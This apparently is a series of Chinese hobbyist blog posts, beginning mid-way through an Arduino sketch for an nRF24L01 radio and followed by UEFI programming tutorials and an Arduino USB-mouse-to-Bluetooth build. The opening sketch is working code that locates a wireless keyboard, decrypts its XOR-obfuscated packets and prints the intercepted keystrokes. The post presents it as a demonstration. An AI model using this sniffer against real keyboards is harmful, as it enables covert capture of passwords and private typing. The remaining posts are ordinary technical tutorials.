while (millis() – time < wait) //为了节省扫描时间,设定每一个频率都有一个超时 { if (radio.available()) { radio.read(&p, PKT_SIZE); //取下抓到的结果 if (p[4] == 0xCD) //如果MAC最低位是 0xCD,说明我们抓到的是正确的 MAC { sp("Potential keyboard: "); //输出一次可能的数据 for (int j = 0; j < 8; j++) { Serial.print(p[j], HEX); sp(" "); } spl(""); // 从 DataSheet 更可以看到在 MAC后面还有 9 bits 长的 PCF ,为了进一步校验数据,我们需要手工移动整体数据 // 正常通讯的时候,硬件会自动处理掉 PCF 的,也因为这个原因,这里获得的数据和直接指定MAC 抓取的数据看起来不同 // 下面是我们根据对键盘发送格式的了解,判断收到的信号是否为键盘发送 if ((p[6] & 0x7F) << 1 == 0x0A && (p[7] << 1 == 0x38 || p[7] << 1 == 0x78)) { channel--; sp("KEYBOARD FOUND! Locking in on channel "); //找到键盘了 Serial.println(channel); EEPROM.write(E_LAST_CHAN, channel); //记录这次找到的频率,以便下次使用 kbPipe = 0; for (int i = 0; i < 4; i++) //这里就有了真正的键盘的MAC { kbPipe += p[i]; kbPipe <<= 8; } kbPipe += p[4]; //最终的数据CRC MAC是参加计算的,这里只是先计算一下 cksum_key_offset = ~(kbPipe >> 8 & 0xFF);

return;
}

}
}
}

}
}


// 前面扫面结束,我们取得了键盘的真实MAC,这里需要重新设置一下
void setupRadio()
{
  spl("2setupRadio");

  radio.stopListening();
  radio.openReadingPipe(0, kbPipe);   //这里监听真实的 MAC
  radio.setAutoAck(false);			  //不要自动应答
  radio.setPALevel(RF24_PA_MAX); 	  //最大功率监听
  radio.setDataRate(RF24_2MBPS);      //通讯速度还是 2mbps
  radio.setPayloadSize(32);           //听32 Bytes
  radio.enableDynamicPayloads();      
  radio.setChannel(channel);
  n(0x03, 0x03);					  // MAC 长度是 5Bytes
  radio.startListening();
}

uint8_t flush_rx(void)
{
  uint8_t status;

  csn(LOW);
  status = SPI.transfer( FLUSH_RX );
  csn(HIGH);

  return status;
}

void setup()
{

  Serial.begin(BAUDRATE);
   
  spl("Radio setup");
  radio.begin();
  spl("End radio setup");

  //扫描键盘频段和MAC
  scan();
  //重新设置监听真实的 MAC
  setupRadio();
 
}

// 解密数据
void decrypt(uint8_t* p)
{
  for (int i = 4; i < 15; i++)
    // our encryption key is the 5-byte MAC address (pipe)
    // and starts 4 bytes in (header is unencrypted)
    p[i] ^= kbPipe >> (((i - 4) % 5) * 8) & 0xFF;
}

//解析 HID 数据获得按键信息
char gotKeystroke(uint8_t* p)
{
  char letter;
  uint8_t key = p[11] ? p[11] : p[10] ? p[10] : p[9];
  letter = hid_decode(key, p[7]);

  return letter;
} 

void loop(void)
{
    char ch;
    uint8_t p[PKT_SIZE], lp[PKT_SIZE];
    uint8_t pipe_num=0;

	if ( radio.available(&pipe_num) )
	{
		uint8_t sz = radio.getDynamicPayloadSize();    
		//sp("Payload:>");Serial.println(sz);
		
		radio.read(&p, PKT_SIZE);
		flush_rx();
		
                //sp("Raw->");for (int i=0;i<PKT_SIZE;i++) { Serial.print(p[i],HEX); sp(" ");}spl("");
  
		//判断是否和前一个数据是重复的
		if (p[1] == 0x78)
		{
			boolean same = true;
			for (int j = 0; j < sz; j++)
			{
				if (p[j] != lp[j])
				same = false;
				lp[j] = p[j];
			}
			if (same) {
				  return;	//对于重复数据直接丢弃
			}
    }

    // 解密数据
    decrypt(p);
	      
    // 判断数据包,还有数据包上的序号
    if (p[0] == 0x0a && p[1] == 0x78 && p[9] != 0 && lastSeq != (p[5] << 8) + p[4])
    {
      
      lastSeq = (p[5] << 8) + p[4];
      // store in flash for retrieval later
      ch = gotKeystroke(p);
      sp("[");Serial.print(ch);sp("]");
    }
  }
}

 

运行结果
image009
程序只是简单的演示,截获的键盘数据发送到串口显示出来。

参考:
1. https://github.com/samyk/keysweeper/blob/master/keysweeper_mcu_src/keysweeper_mcu_src.ino
2. nRF24L01 DataSheet 2.0 9.1 Register map table

Step to UEFI (103)Protocol 的私有数据

阅读《UEFI原理与编程》,第八章,开发UEFI服务。其中提到了 Protocol的私有数据。
之前我们介绍过 EFI_LOADED_IMAGE_PROTOCOL,在【参考1】的程序中,就有涉及到LOADED_IMAGE_PRIVATE_DATA,简单的说,定义的 PROTOCOL是这个结构体的一部分,就能够找到整个LOADED_IMAGE_PRIVATE_DATA的结构体,从而获得一些额外的信息。
总结一下,这样的私有数据是这样定义的:

#define PROTOCOLNAME_PRIVATE_DATA_SIGNATURE   SIGNATURE_32('p','r','t','9')
typedef struct {
  UINTN     Signature;
  UINTN	    Var1;
  PROTOCOLNAME _PROTOCOL   PROTOCOLNAME;           
} PROTOCOLNAME_PRIVATE_DATA;

#define PROTOCOLNAME _PRIVATE_DATA_FROM_THIS(a) \
     CR(a, PROTOCOLNAME_PRIVATE_DATA, PROTOCOLNAME, PROTOCOLNAME _PRIVATE_DATA_SIGNATURE)

 

在初始化的时候,要创建一个实际的PROTOCOLNAME_PRIVATE_DATA,然后初始化需要的变量,最后像其他的Protocol安装一样,将PROTOCOLNAME_PRIVATE_DATA. PROTOCOLNAME 安装到合适的Handle上即可。
编写代码测试一下,基于之前我们写的 PrintDriver 代码,先修改 Print9.h。加入了下面的定义:

#define PRINT9_PRIVATE_DATA_SIGNATURE   SIGNATURE_32('p','r','t','9')

typedef struct {
  UINTN     Signature;
  UINTN		Var1;
  /// loaded PROTOCOLNAME
  EFI_PRINT9_PROTOCOL   PRINT9;           
} EFI_PRINT9_PRIVATE_DATA;

#define EFI_PRINT9_PRIVATE_DATA_FROM_THIS(a) \
          CR(a, EFI_PRINT9_PRIVATE_DATA, PRINT9, PRINT9_PRIVATE_DATA_SIGNATURE)

 

之后修改print.c。 这个 driver实现的功能很简单,每次调用UnicodeSPrint 函数的时候,会自动显示 EFI_PRINT9_PRIVATE_DATA 中的 Var1,并且增加1.

#include <PiDxe.h>
#include  <Library/UefiLib.h>
#include "Print9.h"
#include <Library/PrintLib.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/DebugLib.h>
#include <Library/UefiDriverEntryPoint.h>
#include <Library/MemoryAllocationLib.h>
EFI_PRINT9_PRIVATE_DATA  *Image;
EFI_HANDLE  mPrintThunkHandle = NULL;
extern EFI_SYSTEM_TABLE			 *gST;

//Copied from \MdeModulePkg\Library\DxePrintLibPrint2Protocol\PrintLib.c
UINTN
EFIAPI
MyUnicodeSPrint (
  OUT CHAR16        *StartOfBuffer,
  IN  UINTN         BufferSize,
  IN  CONST CHAR16  *FormatString,
  ...
  )
{
  VA_LIST Marker;
  UINTN   NumberOfPrinted=1;
  CHAR16  *Buffer=L"12345678";
  
  VA_START (Marker, FormatString);
  //NumberOfPrinted = UnicodeVSPrint (StartOfBuffer, BufferSize, FormatString, Marker);
  VA_END (Marker);
  
  UnicodeSPrint(Buffer,8,L"%d",Image->Var1);
  gST->ConOut->OutputString(gST->ConOut,Buffer); 
  Image->Var1++;
  return NumberOfPrinted;
}

/**
  The user Entry Point for Print module.

  This is the entry point for Print DXE Driver. It installs the Print2 Protocol.

  @param[in] ImageHandle    The firmware allocated handle for the EFI image.
  @param[in] SystemTable    A pointer to the EFI System Table.

  @retval EFI_SUCCESS       The entry point is executed successfully.
  @retval Others            Some error occurs when executing this entry point.

**/
EFI_STATUS
EFIAPI
PrintEntryPoint (
  IN EFI_HANDLE           ImageHandle,
  IN EFI_SYSTEM_TABLE     *SystemTable
  )
{
	EFI_STATUS  Status=EFI_SUCCESS;

	//
	// Allocate a new image structure
	//
	Image = AllocateZeroPool (sizeof(EFI_PRINT9_PRIVATE_DATA));
	if (Image == NULL) {
		Status = EFI_OUT_OF_RESOURCES;
		goto Done;
	}	
	
    Image->Signature         = PRINT9_PRIVATE_DATA_SIGNATURE;
  
	Image->PRINT9.UnicodeBSPrint=UnicodeBSPrint;
	Image->PRINT9.UnicodeSPrint=MyUnicodeSPrint;
  	Image->PRINT9.UnicodeBSPrintAsciiFormat=UnicodeBSPrintAsciiFormat;	
  	Image->PRINT9.UnicodeSPrintAsciiFormat=UnicodeSPrintAsciiFormat;	
  	Image->PRINT9.UnicodeValueToString=UnicodeValueToString;	
  	Image->PRINT9.AsciiBSPrint=AsciiBSPrint;	
  	Image->PRINT9.AsciiSPrint=AsciiSPrint;	
  	Image->PRINT9.AsciiBSPrintUnicodeFormat=AsciiBSPrintUnicodeFormat;	
  	Image->PRINT9.AsciiSPrintUnicodeFormat=AsciiSPrintUnicodeFormat;	
  	Image->PRINT9.AsciiValueToString=AsciiValueToString;	
	
	Status = gBS->InstallMultipleProtocolInterfaces (
                  &mPrintThunkHandle,
                  &gEfiPrint9ProtocolGuid, 
				  &Image->PRINT9,
                  NULL
                  );
    ASSERT_EFI_ERROR (Status);

Done:

  return Status;
}

 

测试这个 Protocol 使用的还是之前的 pdt.efi,运行结果如下:

stu103

完整的代码下载

printdriver3

参考:
1. Step to UEFI (48) —– 被加载程序的ENTRYPOINT

Arduino打造 USB转蓝牙鼠标的装置

去年的这个时候,我做了一个 USB键盘转蓝牙的装置【参考1】,有很多朋友根据我的方法成功制作出自己的转接装置。本文将介绍如何用Arduino打造一个USB鼠标转蓝牙的装置。

从原理上来说,Arduino 通过 USB Host Shield 驱动 USB 鼠标,将其切换为 Boot Protocol 模式,该模式下鼠标会用固定的格式和Arduino通讯,这样避免了不同设备需要单独解析 HID Protocol的问题 。之后,Arduino将解析出来的鼠标动作通过串口,以规定的格式告知蓝牙模块,最后在手机或者电脑端即可以蓝牙鼠标的方式进行动作。

usbtobluetooth

使用的硬件如下

Arduino Uno  1块
USB Host Shield

 

1块
带面包板的Shield板

 

1块
XM-04-HID-M 蓝牙HID鼠标模块 1块
18650电池(选配)

 

2节
18650 电池盒(选配) 1个

 

最主要的配件如下

 

image004

和之前的键盘转接装置相比,最大的不同在于本文代码使用了USB Host Shield 2.0的库,大量的底层操作都被封装起来,编程上非常简单,完全可以专注于“做什么”而不是“如何做”,这也是 Arduino的魅力所在。

代码需要用到 USB Host Shield2.0这个库,安装的方法很简单,打开 Sketch->Include Library->Manage Libraries 调出 Library Manager,直接搜索 “USB Host”字样,然后点击Install即可。

(我们需要安装的是 USB Host Shield Library 2.0,这是用起来驱动 USB Host Shield的。另外那个 USBHost是给Due 用的)

image003

USB Host 解析出来的鼠标数据格式如下:

struct MOUSEINFO {

 

struct {

uint8_t bmLeftButton : 1;        //鼠标左键按下标记

uint8_t bmRightButton : 1;     //鼠标右键按下标记

uint8_t bmMiddleButton : 1; //鼠标中键按下标记

uint8_t bmDummy : 5;            //保留

};

int8_t dX;         //水平方向移动偏移

int8_t dY;         //垂直方向移动偏移

};

 

Arduino和蓝牙模块是通过串口进行通讯的,通讯报文长为8字节,每个字节分别如下【参考3】:

BYTE1 0x08 固定值(包长度)
BYTE2 0x00 固定值
BYTE3 0xA1 固定值
BYTE4 0x02 固定值
BYTE5 Button 1/2/3
BYTE6 X-Axis(-127~127)
BYTE7 Y-Axis(-127~127)
BYTE8 Whell (-127~+127)

 

我们需要做的只是将USB HOST 解析出来的MOUSEINFO转发给串口模块即可。

#include <hidboot.h>

#include <SPI.h>

 

#define BIT0  1

#define BIT1  2

#define BIT2  4

 

class MouseRptParser : public MouseReportParser

{

protected:

         void OnMouseMove     (MOUSEINFO *mi);

         void OnLeftButtonUp   (MOUSEINFO *mi);

         void OnLeftButtonDown      (MOUSEINFO *mi);

         void OnRightButtonUp (MOUSEINFO *mi);

         void OnRightButtonDown    (MOUSEINFO *mi);

         void OnMiddleButtonUp      (MOUSEINFO *mi);

         void OnMiddleButtonDown         (MOUSEINFO *mi);

};

 

void SendToBT(MOUSEINFO *mi)

{

     byte  Button=0;

    

     if (mi->bmLeftButton)

       Button |= BIT0;

     else

       Button & !BIT0;

      

      if (mi->bmRightButton)

       Button |= BIT1;

     else

       Button & !BIT1;

      

      if (mi->bmMiddleButton)

       Button |= BIT2;

     else

       Button & !BIT2;

    

     /*

     Serial.println("L Mouse Move");

     Serial.print("dx=");

     Serial.print(mi->dX, DEC);

     Serial.print(" dy=");

     Serial.println(mi->dY, DEC);

     Serial.println(Button,DEC);

     */

   

   

     Serial.write(0x08);  //BYTE1    

     Serial.write(0x00);  //BYTE2

     Serial.write(0xA1);  //BYTE3

     Serial.write(0x02);  //BYTE4

     Serial.write(Button);  //BYTE5        

     Serial.write(mi->dX);  //BYTE6        

     Serial.write(mi->dY);  //BYTE7

     Serial.write(0);  //BYTE8          

}

 

void MouseRptParser::OnMouseMove(MOUSEINFO *mi)

{

    SendToBT(mi);

};

void MouseRptParser::OnLeftButtonUp   (MOUSEINFO *mi)

{

    //Serial.println("L Butt Up");

    SendToBT(mi);   

};

void MouseRptParser::OnLeftButtonDown       (MOUSEINFO *mi)

{

    //Serial.println("L Butt Dn");

    SendToBT(mi);   

};

void MouseRptParser::OnRightButtonUp (MOUSEINFO *mi)

{

    //Serial.println("R Butt Up");

    SendToBT(mi);   

};

void MouseRptParser::OnRightButtonDown    (MOUSEINFO *mi)

{

    //Serial.println("R Butt Dn");

    SendToBT(mi);

};

void MouseRptParser::OnMiddleButtonUp      (MOUSEINFO *mi)

{

    //Serial.println("M Butt Up");

    SendToBT(mi);

};

void MouseRptParser::OnMiddleButtonDown          (MOUSEINFO *mi)

{

    //Serial.println("M Butt Dn");

    SendToBT(mi);   

};

 

USB     Usb;

 

HIDBoot<HID_PROTOCOL_MOUSE>    HidMouse(&Usb);

 

uint32_t next_time;

 

MouseRptParser                               Prs;

 

void setup()

{

    Serial.begin( 115200 );

    Serial.println("Start");

 

    if (Usb.Init() == -1)

        Serial.println("OSC did not start.");

 

    delay( 200 );

 

    next_time = millis() + 5000;

 

    HidMouse.SetReportParser(0,(HIDReportParser*)&Prs);

}

 

void loop()

{

  Usb.Task();

}

 

 

最终的成品,Arduino和其他Shield堆叠起来,使用电池独立供电

image002

特别注意的地方:

  1. 如果使用USB 供电,Arduino可能会遇到供电不足的问题(外围有USB Host Shield / USB Mouse / Bluetooth),解决办法是直接从圆形 DC 口接入电池,这就是本文使用18650电池的原因;
  2. 本文使用的蓝牙模块并非普通的串口蓝牙(HC05/06),而是专门的蓝牙鼠标模块。之前制作USB键盘转接设备的时候,很多朋友没有注意,购买的是 HC05/06这样的蓝牙串口模块,最后只得重新购买。关于蓝牙鼠标模块的更多信息可以在之前的介绍中看到【参考2】;
  3. 蓝牙 HID 模块默认波特率只有是 9600,在操作时有明显卡顿,需要对其下 AT 命令,将波特率升到 115200。

 

参考:

  1. http://www.arduino.cn/thread-17412-1-1.html U2B: USB键盘转蓝牙键盘的设备
  2. http://www.arduino.cn/thread-22076-1-1.html 介绍一个蓝牙鼠标模块
  3. XM-04-HID-M 蓝牙HID鼠标模块规格书0

Step to UEFI (102)Application 释放Driver

Windows下是不允许应用程序直接访问硬件的,必须通过驱动。类似 RW Everything这样的需要访问硬件的工具实际上是自带驱动的,当运行应用程序的时候会自动把驱动释放出去,然后通过加载驱动的方式再进行硬件的访问的。本文就介绍一下,如何在UEFI 中实现同样的功能。
我们有之前做出来的PrintDriver,用一个 Application 在编译期将它包进去,然后运行期释放到硬盘上,然后Load之,再按照Protocol的方式调用。
特别注意的地方是:我将之前的 PrintDriver.efi 用工具转换为C的字节定义,放在文件头中。用 Const 定义,保证它编译后会处于 .rdata段中。

代码如下:

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>
#include  <Library/ShellLib.h>

#include "Print9.h"

EFI_GUID gEfiPrint9ProtocolGuid =
		{ 0xf05976ef, 0x83f1, 0x4f3d, 
			{ 0x86, 0x19, 0xf7, 0x59, 
				0x5d, 0x41, 0xe5, 0x61 } };

							
extern EFI_BOOT_SERVICES         *gBS;
extern EFI_SYSTEM_TABLE			 *gST;
extern EFI_RUNTIME_SERVICES 	 *gRT;

extern EFI_HANDLE 					 gImageHandle;

const CHAR8 MyDriver[] ={
#include	"Mydriver.h"
};

int
EFIAPI
main (
  IN int Argc,
  IN CHAR16 **Argv
  )
{
	EFI_PRINT9_PROTOCOL	*Print9Protocol;
	CHAR16			  *Buffer=L"12345678";
	RETURN_STATUS     Status;
	EFI_FILE_HANDLE   FileHandle;
	UINTN			  FileSize=sizeof(MyDriver);
	EFI_HANDLE        *HandleBuffer=(EFI_HANDLE)&MyDriver;
	CHAR16	  		  *CommandLine=L"load MyDriver.efi";
	EFI_STATUS  	  CmdStat;
  
    Print(L"Length of driver = %d \n",sizeof(MyDriver));

	//Create a new file
	Status = ShellOpenFileByName(L"MyDriver.efi", 
                               (SHELL_FILE_HANDLE *)&FileHandle,
                               EFI_FILE_MODE_READ |
							   EFI_FILE_MODE_WRITE|
							   EFI_FILE_MODE_CREATE, 
							   0);  
	if(Status != RETURN_SUCCESS) {
			Print(L"CreatFile failed [%r]!\n",Status);
			return EFI_SUCCESS;
      }	

	Status = ShellWriteFile(FileHandle,
			&FileSize,
			HandleBuffer
			);
	if(Status != RETURN_SUCCESS) {
			Print(L"Writefile failed [%r]!\n",Status);
			return EFI_SUCCESS;
      }				
    Print(L"Driver has been released to the disk!\n");	  
	
	//Close the source file
	ShellCloseFile(&FileHandle);
  
    Status = ShellExecute( &gImageHandle, CommandLine, FALSE, NULL, &CmdStat);
	if(Status != RETURN_SUCCESS) {
			Print(L"Driver load error!\n",Status);
			return EFI_SUCCESS;
      }		
	  
	// Search for the Print9 Protocol
    //
    Status = gBS->LocateProtocol(
      &gEfiPrint9ProtocolGuid,
      NULL,
      (VOID **)&Print9Protocol
     );
    if (EFI_ERROR(Status)) {
      Print9Protocol = NULL;
	  Print(L"Can't find Print9Protocol.\n");
	  return EFI_SUCCESS;
     }
	Print(L"Find Print9Protocol.\n"); 
	Print9Protocol->UnicodeSPrint(Buffer,8,L"%d",200);
	Print(L"%s\n",Buffer); 
	
	return EFI_SUCCESS;
}

 

运行结果:
stu102

第一次加载失败的原因是因为当时处于 shell 下面,没有盘符,这样无法正常释放文件。第二次,在fsnt0: 下运行,驱动正常释放,可能够正常加载。所以取得了期望的结果。
最后提一下,PE格式段的问题。打开一个代码,比如之前测试驱动的Application PDT.EFI,查看编译期生成的 pdt.map :
Preferred load address is 00000000

Start Length Name Class
0001:00000000 000045e5H .text CODE
0002:00000000 0000186eH .rdata DATA
0002:00001870 0000006bH .rdata$debug DATA
0003:00000000 00000350H .data DATA
0003:00000360 00002850H .bss DATA

这些段的含义如下【参考1】:
.text 可执行代码段
数据段.bss、.rdata、.data
.rdata段表示只读的数据,比如字符串文字量、常量和调试目录信息。
.bss段表示应用程序的未初始化数据,包括所有函数或源模块中声明为static的变量。
.data段存储所有其它变量(除了出现在栈上的自动变量)。基本上,这些是应用程序或模块的全局变量。
所以我们希望,定义的数据段出现在 rdata 中,再查看我们的 pdt2.map,其中的 rdata段因为包括了我们定义的 Driver长度明显变大了。
Preferred load address is 00000000

Start Length Name Class
0001:00000000 000046c5H .text CODE
0002:00000000 00002e16H .rdata DATA
0002:00002e18 0000006eH .rdata$debug DATA
0003:00000000 00000350H .data DATA
0003:00000360 00002850H .bss DATA

完整的代码下载:
pdt2

参考:
1. http://blog.csdn.net/feidegengao/article/details/16966357 PE文件格式详解(下)

蓝牙模块进入 AT 模式

一般的蓝牙模块,进入 AT 模式进行设置的方式很简单,就是直接用电线连接之后在PC上发送AT Command 即可。如果有问题,需要检查下面三个方面:
1. 供电,最好用自带供电的串口模块,用它直接给蓝牙模块供电;
2. 串口连接,RX/TX需要交叉,波特率需要匹配,一般默认都是9600
3. 发送命令需要特别的后缀,有些是回车,有些是换行,大多数是回车加换行。你可以直接使用 Arduino 的串口监视器
image002
如果用其他工具,那么需要十六进制发送,手工加上需要的后缀
4. 通常的模块都支持 AT 命令,建议用这个命令直接测试,应该能收到回复 OK

如果上述检查多次,仍然不响应 AT 命令,那么很可能是你用的模块需要特殊的方式才能进入AT 模式(也有称作“命令模式”)。比如,我在使用的蓝牙鼠标模块。我按照上述方法检查过无数次,最终还是再次研读Spec。发现有一组红色标记的字。
image004
转念一想,这个说的可能是这个模块一种特殊的状态,应该有什么方式能进入这个状态中,再回到前面仔细阅读,发现PIO3是很特别的引脚。
image006
我拿到的是已经焊接在底板上的蓝牙模块
image008
最后,需要用导线短路一下Pin12和Pin26,然后模块才能正常响应AT 命令。

所以,如果遇到了问题,最好认真阅读卖家提供的 Datasheet。其实,最快捷的还是直接问卖家,当然,大多数情况下你无法从卖家得到答案。

Step to UEFI (101)Application 驻留内存

前面一篇文章提到“提供服务的代码需要常驻内存,一般的 Application 是不会常驻内存的,而驱动直接可以常驻内存”。普通的Application 不能常驻内存,但是可以做个特殊的Application 来完成这个功能,之前的文章【参考1】我们尝试过写一个能够一直在 Shell 右上角显示当前时间的程序。结合前面的Protocol安装的驱动代码,我们做一个安装Protocol的Application。

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>

#include  <stdio.h>
#include  <stdlib.h>
#include  <wchar.h>
#include  <time.h>
#include <Protocol/EfiShell.h>
#include <Library/ShellLib.h>
#include <Library/PrintLib.h>
#include <Protocol/SimpleFileSystem.h>
#include <Protocol/BlockIo.h>
#include <Library/DevicePathLib.h>
#include <Library/HandleParsingLib.h>
#include <Library/SortLib.h>
#include <Library/MemoryAllocationLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/DebugLib.h>
#include <Protocol/LoadedImage.h>

#include "Print9.h"

extern EFI_BOOT_SERVICES         *gBS;
extern EFI_SYSTEM_TABLE			 *gST;
extern EFI_RUNTIME_SERVICES 	 *gRT;

extern EFI_SHELL_ENVIRONMENT2    *mEfiShellEnvironment2;
extern EFI_HANDLE				 gImageHandle;

typedef struct {
  UINTN                       Signature;
  /// Image handle
  EFI_HANDLE                  Handle;   
  /// Image type
  UINTN                       Type;           
  /// If entrypoint has been called
  BOOLEAN                     Started;        
  /// The image's entry point
  EFI_IMAGE_ENTRY_POINT       EntryPoint;     
  /// loaded image protocol
  EFI_LOADED_IMAGE_PROTOCOL   Info; 
} LOADED_IMAGE_PRIVATE_DATA_TEMP;

EFI_GUID gEfiPrint9ProtocolGuid=
	{ 0xf05976ef, 0x83f1, 0x4f3d, 
	{ 0x86, 0x19, 0xf7, 0x59, 0x5d, 0x41, 0xe5, 0x61 } };

#define _CR(Record, TYPE, Field)  ((TYPE *) ((CHAR8 *) (Record) - (CHAR8 *) &(((TYPE *) 0)->Field)))

#define LOADED_IMAGE_PRIVATE_DATA_FROM_THIS(a) \
          _CR(a, LOADED_IMAGE_PRIVATE_DATA_TEMP, Info)

CONST EFI_PRINT9_PROTOCOL mPrint9Protocol = {
  UnicodeBSPrint,
  UnicodeSPrint,
  UnicodeBSPrintAsciiFormat,
  UnicodeSPrintAsciiFormat,
  UnicodeValueToString,
  AsciiBSPrint,
  AsciiSPrint,
  AsciiBSPrintUnicodeFormat,
  AsciiSPrintUnicodeFormat,
  AsciiValueToString
};

EFI_LOADED_IMAGE_PROTOCOL          *ImageInfo = NULL;
  
typedef void (*Fun)();

void function()
{
  EFI_STATUS  Status;

  Status = gBS->InstallMultipleProtocolInterfaces (
                  &gImageHandle,
                  &gEfiPrint9ProtocolGuid, 
				  &mPrint9Protocol,
                  NULL
                  );
  ASSERT_EFI_ERROR (Status);
}


int
EFIAPI
main (                                         
  IN int Argc,
  IN char **Argv
  )
{
  EFI_STATUS                         Status = EFI_SUCCESS;
  EFI_HANDLE                         Handle = 0;
  EFI_GUID                           gEfiLoadedImageProtocolGuid = 
                                     { 0x5B1B31A1, 0x9562, 0x11D2, { 0x8E, 0x3F, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B }};
  LOADED_IMAGE_PRIVATE_DATA_TEMP      *private = NULL;
  Fun                                fun;
  UINTN                              FunOffset;
  UINTN                              FunAddr;

  Status = gBS->HandleProtocol (gImageHandle, &gEfiLoadedImageProtocolGuid, &ImageInfo);
  // function offset in the old image
  FunOffset = (UINTN)function - (UINTN)ImageInfo->ImageBase;

  // load the image in memory again
  Status = gBS->LoadImage(FALSE, gImageHandle, NULL, ImageInfo->ImageBase, (UINTN)ImageInfo->ImageSize, &Handle);  

  // get the newer imageinfo
  Status = gBS->HandleProtocol (Handle, &gEfiLoadedImageProtocolGuid, &ImageInfo);

  private = LOADED_IMAGE_PRIVATE_DATA_FROM_THIS(ImageInfo);
  FunAddr = (UINTN)FunOffset + (UINTN)ImageInfo->ImageBase;
  
  fun = (Fun)((UINTN)FunOffset + (UINTN)ImageInfo->ImageBase);
  // called the newer function in new image,the new image will be always in memory because it will not be free
  fun();
  return EFI_SUCCESS;
}

 

运行结果,和使用Driver方式的没有差别。
stu101

完整的代码下载:
appprotocol

参考:
1. http://www.lab-z.com/49str/ Step to UEFI (49) —– 内存驻留程序